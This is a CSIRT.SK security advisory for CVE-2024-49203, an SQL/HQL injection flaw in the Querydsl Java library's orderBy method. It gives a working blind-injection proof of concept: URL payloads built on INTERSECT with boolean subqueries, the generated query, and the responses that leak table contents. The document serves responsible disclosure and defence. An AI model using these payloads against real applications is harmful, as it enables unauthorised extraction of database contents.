MINISTERSTVO
INVESTÍCIÍ, REGIONÁLNEHO ROZVOJA
A INFORMATIZÁCIE
SLOVENSKEJ REPUBLIKY

CSIRT.SK

Querydsl Java Library Vulnerability Permits SQL/HQL Injection

CVE-2024-49203

Created by: CSIRT.SK
Ministerstvo investícií, regionálneho rozvoja a informatizácie SR
Pribinova 25
811 09 Bratislava

Date of creation: November 2024

TLP: Clear

Security analysts of CSIRT.SK discovered vulnerability CVE-2024-49203 in Querydsl library for Java, which allows attackers to perform SQL/HQL injection attacks.

Vulnerable systems:

- querydsl-jpa – 5.1.0
- querydsl-apt – 5.1.0
- hibernate-core – 6.1.1.Final
- jakarta.persistence-api – 3.1.0
- postgresql – 42.7.4

These versions are confirmed to be vulnerable. We cannot exclude other versions as vulnerable, since these were not tested.

Description:

CVE-2024-49203

The vulnerability exists in the newest version of *Querydsl* library, and stems from the absence of sanitization of user input, which is processed by *orderBy(OrderSpecifier order)* function. This method is used for sorting of database query results. In case when the *order* variable is generated by user input, it is possible to perform HQL queries via this variable.

If the following lines are present in code:

```
OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));

JPAQuery<Test> orderedQuery = query.orderBy(order);

return orderedQuery.fetch();
```

where *orderBy* value is given by user, the application is vulnerable.

When a user visits the following site:

```
http://localhost:8000/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+'2')='2'+ORDER+BY+t.id HTTP/1.1
```

they can perform so called blind SQL injection, when they insert their SQL query in place of SELECT+'2' and try what is the value of the result of the SQL query by replacing '2' for all possible values.

In our case the following query is generated:

```
SELECT t1 FROM Test t1 Order By t1.name INTERSECT SELECT t FROM Test t WHERE (SELECT '2')='2' ORDER BY t.id ASC
```

In our case an attacker would obtain all the values present in the table 'Test', since (SELECT+'2')='2' is evaluated as *True*. Thus, intersection of all the elements in the tables 'Test t1', and 'Test t' is made, which is equal to all elements in the table 'Test'.

The response would thus be as follows:

```
HTTP/1.1 200

Content-Type: application/json

Date: Tue, 08 Oct 2024 13:34:57 GMT

Content-Length: 27




[{"id":1,"name":"test123"}]
```

If we visit the following page:

```
http://localhost:8000/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+'1')='2'+ORDER+BY+t.id HTTP/1.1
```

where the condition in WHERE clause is evaluated as *False*, we obtain the following response:

```
HTTP/1.1 200

Content-Type: application/json

Date: Tue, 08 Oct 2024 13:36:30 GMT

Content-Length: 2



[]
```

The vulnerability was tested using the following library versions:

- querydsl-jpa – 5.1.0
- querydsl-apt – 5.1.0
- hibernate-core – 6.1.1.Final
- jakarta.persistence-api – 3.1.0

- postgresql – 42.7.4

We informed the authors of the library about the vulnerability on November 9th 2024.

Possible damages:

- **Information disclosure**
- **Denial of service**

Recommendations:

If you use Querydsl library for development of your Java web application, and you use *orderBy* method with user input, we recommend additional treatment of user input within the best practice of secure development.